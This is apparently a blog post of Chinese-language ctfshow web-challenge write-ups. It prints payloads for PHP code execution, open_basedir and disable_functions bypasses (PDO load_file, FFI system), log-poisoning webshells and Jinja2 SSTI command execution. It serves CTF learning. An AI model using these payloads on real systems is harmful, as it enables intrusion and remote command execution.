Pr1nt
文章22
标签9
分类5

文章分类

文章归档

ctfshow_web入门wp

ctfshow_web入门wp

ctfshow-web入门全解

重新走一遍ctfshow,顺便记录下wp

  1. ctfshow-web入门全解
    1. 信息收集
    2. 爆破
      1. web21
      2. web22
      3. web23
      4. web24
      5. web25
      6. web26
      7. web27
      8. web28
    3. 命令执行
      1. web71
      2. web73
      3. web74
      4. web72
        1. UAF
      5. web75
        1. PDO
      6. web76
      7. web77
        1. FFI
      8. web118-web122
        1. 环境变量的利用
      9. web124
    4. 文件包含
      1. web78
      2. web79
      3. web80
      4. web81
      5. web82
        1. 条件竞争
      6. web83
      7. web84
      8. web85
      9. web86
      10. web87
      11. web88
      12. web116
      13. web117
    5. php特性
      1. web89
      2. web90
      3. web91
      4. web92
      5. web93
      6. web94
      7. web95
      8. web96
      9. web97
      10. web98
      11. web99
      12. web100
      13. web101
      14. web102
      15. web103
      16. web104
      17. web105
      18. web106
      19. web107
      20. web108
      21. web109
      22. web110
      23. web111
      24. web112
      25. web113
      26. web114
      27. web115
      28. web123
      29. web125
      30. web126
      31. web127
      32. web128
      33. web129
      34. web130
      35. web131
      36. web132
      37. web133
      38. web134
      39. web135
      40. web136
      41. web137
      42. web138
      43. web139
      44. web140
      45. web141
      46. web142
      47. web143
      48. web144
      49. web145
      50. web146
      51. web147
      52. web148
      53. web149
      54. web150
      55. web150_plus
    6. 文件上传
    7. sql注入
    8. 反序列化
    9. java
    10. 代码审计
    11. phpCVE
    12. XSS
    13. nodejs
    14. jwt
    15. SSRF
    16. SSTI
      1. web361
      2. web362
      3. web363
      4. web364
      5. web365
      6. web366
      7. web367
      8. web368
      9. web369
      10. web370
      11. web371
      12. web372
    17. XXE
  2. -----↑12月之前写完↑--------
    1. 区块链安全
    2. 黑盒测试
    3. 其他
    4. 嵌入式
    5. 框架复现
    6. CMS
    7. 中期测评
    8. sqli-labs
    9. thinkphp专题
    10. 组件漏洞
    11. Laravel专题
    12. Yii专题
    13. 终极考核
    14. 权限维持
    15. 大赛原题
    16. 常用姿势
    17. 税务比武
    18. java反序列化
    19. 内网渗透

由于我们是以夯实基础为主,所以我不会使用sqlmap之类的工具一把梭

信息收集

不写了,这里直接点下面的hint就能看到,提一嘴如果由于js导致看不了源码可以点一下url再进行f12或者ctrl+u

爆破

web21

点开发现要输用户名和密码,抓包发现有个Authorization: Basic YWRtaW46MTIzNDU2,解码后面的是admin:123456,这里就可以直接爆破了
使用burp>Intruder>payload处理先前缀一个admin:,再base64-encode,最后把下面的URL编码取消,就可以爆了

web22

爆破域名,好像环境坏了,直接交flag吧

web23

接收一个参数并进行md5,如果第2,15,18位字符相同,而且整数值的和除以第二位的整数值等于第32位的整数值,则输出flag
burp>Intruder>Brute forcer>1-2长度,爆破出为3j

web24

使用372619038作为随机数的种子,生成随机数,由于种子固定,所以其实随机数也是固定的,经本地测试恒为1155388967,所以直接r=1155388967就行

web25

先输入r=0,得到第一次的随机数,然后使用php_mt_seed工具推出seed值,然后对应一下7.3.11的版本,取第二次和第三次的和写入token中发包就可以获取到flag了

web26

?这题好诡异啊,点进去抓包全放直到抓到checkdb.php,然后啥都不填发送就行a=&p=&d=&u=&pass=就返回flag了

web27

点开莫名其妙,有个录取名单直接下,打开有个叫高先伊的直接爆破身份证号
Intruder>日期>从19800101爆到20201231,格式选下面的自填yyyyMMDD,直接爆就行,查询到学号直接拿身份证号登陆就行
高先伊 身份证号:621022199002015237 学号:02015237

web28

GET /§0§/§1§/ HTTP/1.1,选择(Clusterbomb)模式,从0到100爆破,最多10000次,爆出来/72/20/,直接返回flag了

命令执行

直接看hint吧,看不懂的看我rce全解那篇文章,很全了,web118到web121看我环境变量全解那集

web41这个位置肯定是放错了,应该放55-57这个位置的
着重讲一下web71开始,这里与前面就不是一个难度了

web71

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

这里是先执行代码,然后将返回的内容放至缓冲区,然后进行过滤,但是我们可以提前退出结束这个代码来绕过缓冲区的限制,例如exit(),ob_flush(),die()
payload:c=include('/flag.txt');exit();

web73

c=var_export(scandir('/'));exit(0);找到flag,用c=require_once('/flagc.txt');exit(0);读取flag

web74

scandir被禁了,但是glob还在,glob不仅可以是一个伪协议,也可以是一个函数,作用与scandir相同
c=var_export(glob('/*'));exit();,然后include即可

web72

说下这题为什么放这了,因为这个与web75一样,比web73和web74多了一个open_basedir的限制,估计放在web73之前就是scandir能用

当试图用上一题的payload的时候,出现
include(/flag.txt): failed to open stream: No such file or directory in /var/www/html/index.php(19) : eval()'d code
猜测是open_basedir限制了访问区域,这里可以用glob:///*进行读取的绕过
c=var_export(scandir('glob:///*'));exit();

从后面来的,这里虽然scandir能用,但其实也可以当作被ban了使用web75的方法

这里var_exportprint_r的效果大致相同
发现根目录下有flag0.txt但下一步要想读到flag,就很麻烦了
wp给的是使用了uaf的脚本
UAF(UseAfterFree)是pwn里面的一个方法
简单说下原理吧,payload可以用web75这题的

UAF

UAF是一种内存管理漏洞,发生在程序释放了某块内存后,继续访问或使用这块内存,此时,内存可能已被重新分配给其他对象,导致未定义行为,可能被攻击者利用

如果程序在内存释放后继续访问,可能触发UAF漏洞,导致:访问被新对象占用的内存,可被攻击者利用

UAF的触发过程:

  1. 分配对象:创建对象,分配内存,引用计数>0
  2. 释放内存:通过unset、覆盖引用或垃圾回收,引用计数降为0,内存被释放
  3. 错误使用:在释放后继续访问对象,可能操作被重新分配的内存
  4. 利用:攻击者通过控制新分配的内存,注入恶意数据或行为(如函数指针、字符串)

PHP中的UAF场景:

  • 对象析构:对象被销毁(__destruct触发)后仍被访问
  • 垃圾回收:PHP 5.3+引入GC(Garbage Collector),处理循环引用,但某些操作可能导致UAF
  • 扩展或类:SPL类(如ArrayObject),自定义扩展或C代码可能引入UAF
  • CTF中:UAF常通过精心构造的对象引用、数组操作或序列化触发,执行任意代码或泄露内存

利用效果:

  • 信息泄露:读取被释放内存中的残留数据(如flag字符串)
  • 代码执行:控制内存中的函数指针或对象,调用任意函数(如system)
  • 绕过限制:在CTF中,UAF可绕过disable_functionsopen_basedir,执行命令或读取文件

通常通过以下方法构造UAF:

  • 反序列化:触发__destruct__wakeup,释放对象后访问
  • SPL类:如ArrayObject,SplObjectStorage,操作复杂引用可能导致UAF
  • 垃圾回收:触发GC,释放循环引用的对象后访问
  • 自定义类:定义__destruct__toString,在释放后被调用

注:以上来源于grok,我不是打pwn的,具体这一块我不懂

web75

这题开始由于include也被禁了,所以要想一些奇技淫巧了
第一步还是glob获取文件名,但与上一题不同

wp的payload是

1
2
3
4
5
6
7
?><?php 
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().'');
}
exit(0);
?>

这里如果使用var_export(glob('/*'))会出现false,应该是glob()函数权限不够无法读到根目录
那么就要使用glob伪协议来进行读取,这里就使用了DirectoryIterator()这个类来进行读取,还是挺考验对类的了解的,纯盲解的话应该是翻php手册找哪个类能读取而且没被禁
魔术方法调用toString是输出类对象的值,但我测试一下直接echo($f)也是可行的

然后我在这里又测了一下直接使用glob:///读取flag,结果发现存在open_basedir

PDO

主要是第二步
这里先放出wp里的payload

1
2
3
4
5
6
7
8
9
10
11
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row){
echo($row[0])."|";
}
$dbh = null;
}
catch (PDOException $e) {
echo $e->getMessage();exit(0);
}
exit(0);

接下来先讲原理,这里主要逻辑是new了一个PDO对象(PHP Data Objects),并用localhost的主机连接到用户名和密码都为root的数据库ctftraining,下一行是执行sql语句进行查询并遍历结果,然后输出结果并在最后添加|,最后关闭数据库连接,catch是与try对应的,负责异常时的情况,那么显然,这里不try一下也不catch也是完全可以的,甚至可以将关闭数据库这一步都删了,因为我们只是需要使用sql语句进行查询接着输出即可
也就是

1
2
3
4
5
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row){
echo($row[0]);
}
exit(0);

那么load_file为什么可以读到文件呢,因为只要sql数据库有读取文件的权限,就能成功读取,这是sql函数,不是php函数,所以php的disable禁不掉他
那么我们知道了payload的原理,就需要知道payload的组成了,最主要的就是mysql:host=localhost;dbname=ctftraining这一段
php的PDO函数支持多种数据库,这里列出一下

1
2
3
4
5
6
MySQL : ('mysql:host=localhost;port=3306;dbname=ctftraining', 'root', 'root');
PostgreSQL : ('pgsql:host=localhost;port=5432;dbname=ctftraining', 'postgres', 'postgres');
SQLite : ('sqlite:/var/db/ctftraining.db', '', '');
SQL Server : ('sqlsrv:Server=localhost,1433;Database=ctftraining', 'sa', 'password');
Oracle : ('oci:dbname=//localhost:1521/ctftraining', 'system', 'oracle');
MariaDB是MySQL的一个分支,与mysql一致

那么我们可以一个个试出数据库类型,但数据库名字又是怎么得到的呢

1
2
3
4
5
6
7
8
9
10
11
我们可以使用SHOW DATABASES来列出所有的数据库
例如:

$dbh = new PDO('mysql:host=localhost', 'root', 'root');
foreach($dbh->query('SHOW DATABASES') as $row) {
echo $row[0] . " | ";
}
exit(0);

回显为:
ctftraining | information_schema | mysql | performance_schema | test |

这样我们就列出了所有的数据库,但其实经过测试,这题不写dbname也能出

1
2
3
4
5
6
7
最简payload:

$dbh = new PDO('mysql:host=localhost;', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo $row[0];
}
exit(0);

web76

和上一题一样,flag名字变flag36d.txt了而已

web77

flag名字变flag36x.txt
试图用上一题的payload,但是报错了,应该是这题没给pdo_mysql扩展,也就是使用数据库来读取这一招不好使了
注意到题目给出环境为php7.4版本,肯定是不会白给的对吧
问了一下grok,给出了一个SplFileObject(SPL类绕过),是与使用DirectoryIterator读文件名类似的方法
但是由于存在open_basedir的限制所以不可行

这里我想到了之前那个也存在open_basedir限制的web72,那个是用的uaf,试了一下用web75的payload,结果好使

web75到web77能绕过open_basedir是因为web75是使用的mysql的函数,而open_basedir只限制php脚本,所以是管不到的,但是那几个类去试图绕过是不好使的,类也是php脚本,受open_basedir影响

这里放上本题wp中的payload:

1
2
3
$ffi = FFI::cdef("int system(const char *command);");
$a = '/readflag > 1.txt';
$ffi->system($a);

能看到是执行了/readflag这个程序,但实际上,这里中间这一行直接删了就行

1
2
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 1.txt');

这里我试了一下直接cat,但是不好使,ls -la看一下发现权限不够,只能使用/readflag

这里讲一下FFI的原理

FFI

FFI是PHP 7.4引入的一个扩展,允许php直接调用c语言函数
这里先是使用FFI::cdef声明了一个c函数,payload这里就是定义了C的system函数,接受一个C字符串(const char *)作为命令
然后调用FFI对象就成功执行任意命令了,唯一的问题是没有回显,我们需要将结果输出到1.txt

php手册: FFI::cdef

web118-web122

环境变量的利用

看我的环境变量全解那里
从0到1,学习环境变量的利用方法

web124

非常规rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
//收集自网络
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这题首先审代码,发现没过滤$(),然后过滤了除了白名单的所有字母,那么我们只需要使用白名单内的内容和数字进行构造就行了
白名单大部分的东西都是没什么用的东西,但是注意到,放出了base_convertdechex,那么我们可以定义一个变量$abs='_GET'然后$$abs=>$_GET执行任意命令(这里abs是在白名单中的,不会被过滤)
那么也就是需要使用两个函数将_GET这个字符串转为数字,然后反向走一遍就构造出_GET

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo hexdec(bin2hex('_GET'));
我们可以先将_GET变为16进制,然后将16进制变为10进制,这样就构造出了纯数字
也就是要在payload中打入
hex2bin(dechex(1598506324));
但是hex2bin没给怎么办呢
我们就要用base_convert来构造
base_convert('hex2bin',36,10)=>37907361743
反向一下就是
base_convert(37907361743,10,36)=>hex2bin
所以payload为:
$abs=base_convert(37907361743,10,36)(dechex(1598506324));
$$abs{1}($$abs{2}) //=>$_GET[1]($_GET[2])=>system(tac flag.php)
&1=system
&2=tac+flag.php

RCE终于是告一段落了,未来的计划大概是把rcemap补全至能ak这些题

文件包含

web78

无任何过滤的php伪协议读取即可

web79

过滤了php换data伪协议

web80

这里wp给的是改UA头给日志写入恶意代码然后包含这个日志即可
/?file=/var/log/nginx/access.log
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[1]);?>
第二种方法是大写PHP绕过过滤写个pHP://input,然后用POST发带恶意命令的包即可

web81

多过滤了个:,伪协议用不了了,用上一题的日志包含即可

web82

条件竞争

web83

web84

web85

web86

web87

web88

web116

web117

php特性

web89

1
2
3
4
5
6
7
8
9
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

如果参数能转变为整数,则输出flag,但是又ban掉了数字,那么我们可以传入一个数组来使intval识别为数字,?num[]=就行了

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

首先分析源码,就是要使intval后的num为4476,但是num还不能为4476,那么我们可以简简单单的在4476后面加上.0,使整数变为浮点数4476.0,就能在intval之后重新变回整数4476了
?num=4476.0

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

这里两个匹配的区别在于第一层多了一个m,那这个m的作用是什么呢,是对于php的逐行匹配,也就是只要有一行有php,这一层就会过,而第二个匹配没有这个,所以第一行只要不是php就会进入到else,那么只需要一个换行就行了,%09php

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

与上面那个不同的是,上面是强比较===,而这个是弱比较==,上一题是加上了.0变成了浮点数,因为是强比较所以只能是在数值上与4476是完全相同的数那么这题就由于是弱比较,可以使用与原数不同的浮点数,来绕过nonono,4476.1这个就可以了,在intval的时候,会直接将.1舍弃掉,这样就过了第二步,而由于4476.1与4476是完全不同的数,所以也能过第一步

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

比上一题多了一个对字母的过滤,上个payload还是能正常用的,wp给的方法是使用8进制之后的010574,16进制的开头是0x,8进制的开头是0

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

首先观察,发现是强比较===,然后必须含有0,那么只需要简简单单的4476.0就行了

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

首先观察,弱比较+过滤字母和点.+必须有0,那么前面通用的浮点数战术就无效了,这里就要使用上面的8进制方法,但是由于strpos的存在,导致0不能放在开头,不然会直接返回0导致die,那么就需要随便加一个字节在前面防止0是第一位就行了,这里加+或者%09换行都是可以的

web96

1
2
3
4
5
6
7
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

./flag.php有什么好说的吗

web97

1
2
3
4
5
6
7
8
9
10
11
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b']){
if (md5($_POST['a']) === md5($_POST['b'])){
echo $flag;
}else{
print 'Wrong.';
}
}
}

经典的md5绕过,使用数组即可a[]=1&b[]=2

web98

1
2
3
4
5
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

源码是这样的,看着很奇怪对吧,让我们来给他变成正常形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
include("flag.php");

if (!empty($_GET)) {
$_GET = &$_POST;
}

if ($_GET['flag']=='flag') {
$_GET = &$_COOKIE;
}

if ($_GET['flag']=='flag') {
$_GET = &$_SERVER;
}

if ($_GET['HTTP_FLAG']=='flag') {
highlight_file($flag);
} else {
highlight_file(__FILE__);
}

为什么我们可以这样将这个变形呢,因为这个xxx1?xxx2:xxx3是php中的三元运算符,代码确实简洁了,但是可读性大大降低他的效果是这样的

1
2
3
4
5
6
7
8
9
xxx1?xxx2:xxx3;

等价于:

if(xxx1){
xxx2;
}else{
xxx3;
}

这样我们就可以看懂这道题的源码了,如果GET参数的存在的话,那么将GETPOST的内容进行一个绑定类似$a=&$b的形式就是将$a$b指向同一块内存,而出flag的一步在if ($_GET['HTTP_FLAG']=='flag'),我们说过GET是与POST进行了一个绑定的,所以只需要POST传入HTTP_FLAG=flag就行了,然后为了使两个绑定,只需要随便传入一个什么就可以了,例如?1

web99

1
2
3
4
5
6
7
8
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

这里最主要的是后面的文件写入,我们可以看到这里对于写入的内容是完全没有过滤的,那我们直接写一句话马就好了那么接下来就是n这里的文件名了,这里只需要使n是随便一个名为数字的.php文件就行了,因为in_array没有设置类型,所以我们哪怕传入一个字符串也只会取前面的数字进行比较,这里直接传入1.php就行了

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}
?>

代码非常的简单,v0基本不用管,类什么的也不用管,直接读ctfshow.php就行了我管你这类那类的,然后eval里面的括号什么的直接给他闭合出去就完事了?v1=1&v2=system('cat ctfshow.php')?>&v3=;
最后看下源代码然后flagis那里就行了,记得把0x2d改成-

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

可以看到禁用了所有的数字符号,那么我们只能正常

web102

web103

web104

web105

web106

web107

web108

web109

web110

web111

web112

web113

web114

web115

web123

web125

web126

web127

web128

web129

web130

web131

web132

web133

web134

web135

web136

web137

web138

web139

web140

web141

web142

web143

web144

web145

web146

web147

web148

web149

web150

web150_plus

文件上传

sql注入

反序列化

java

代码审计

phpCVE

XSS

nodejs

jwt

SSRF

SSTI

web361

根据题目提示:“名字就是考点”,可以猜测是接受了name参数,传入发现果然如此接下来就当作是SSTI的入门教程从头讲一遍吧首先是{{}}这两个花括号,这里就是表示你接下来的输入是模板代码然后是经典payload的开头{{''.__class__}}会返回<class 'str'>,这里是对空字符串调用class这个类,从"已知对象"出发,目的是获取到object类,然后object里面就有我们能利用的类来RCE
关系如下:

1
2
<class 'object'>
|<class 'str'>|other....|<class 'os._wrap_close'>

由于我们并不能直接从str类跳到os._wrap_close类,所以就必须先退一级来到object类才行,类比一下就像/var/www/html//var/www/flag之间的关系,必须先跳到/var/www/下才能进行访问而我们要怎么到object类呢,这就需要使用__base__或者是__mro__了,base是直接列出父类,mro是列出当前类和父类,所以经常会看到一些wp里面都是mro[1],因为mro[0]是当前类 (这里不打那两个下横线了,有点累)
获取到object类之后,就要寻找os了,这里就要使用__subclasses__()这个函数,其中的__subclasses__是函数对象,如果不加括号只是拿到函数,并不会执行,这个函数就像ls一样,能列出这个父类下的所有子类这里会列出很多个类,那么就是要寻找到os._wrap_close这个能rce的类,这里其实可以在浏览器里面用ctrl+f搜索<,能方便找到相关索引,直接用数组的方式调用即可,这里是第133个,索引就是132(从0开始数)
到这我们可以看到页面上返回出了<class 'os._wrap_close'>,接下来就是对这个类的利用了我们首先需要对这个类进行一个初始化__init__,然后使用__globals__来获取导入的模块,例如popenbuiltins,这里使用__globals__['popen']("ls / ")就可以执行rce了,那么会发现返回了<os._wrap_close object at 0x7fcd542ea4c0>,这指向了一个地址,所以我们需要使用read()函数来进行一个读的操作最终payload:{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls /").read()}}

web362

应该是禁用了3和2,可以使用数学132=140-8绕过,将132换成140-8就行

web363

过滤了单双引号,可以使用request.args.a绕过
payload:{{().__class__.__base__.__subclasses__()[140-8].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag

web364

args被过滤了,那么使用其他的就行了request.cookies.a
Cookie:a=popen;b=cat /flag

web365

web366

web367

web368

web369

web370

web371

web372

XXE

-----↑12月之前写完↑--------

区块链安全

黑盒测试

其他

嵌入式

框架复现

CMS

中期测评

sqli-labs

thinkphp专题

组件漏洞

Laravel专题

Yii专题

终极考核

权限维持

大赛原题

常用姿势

税务比武

java反序列化

内网渗透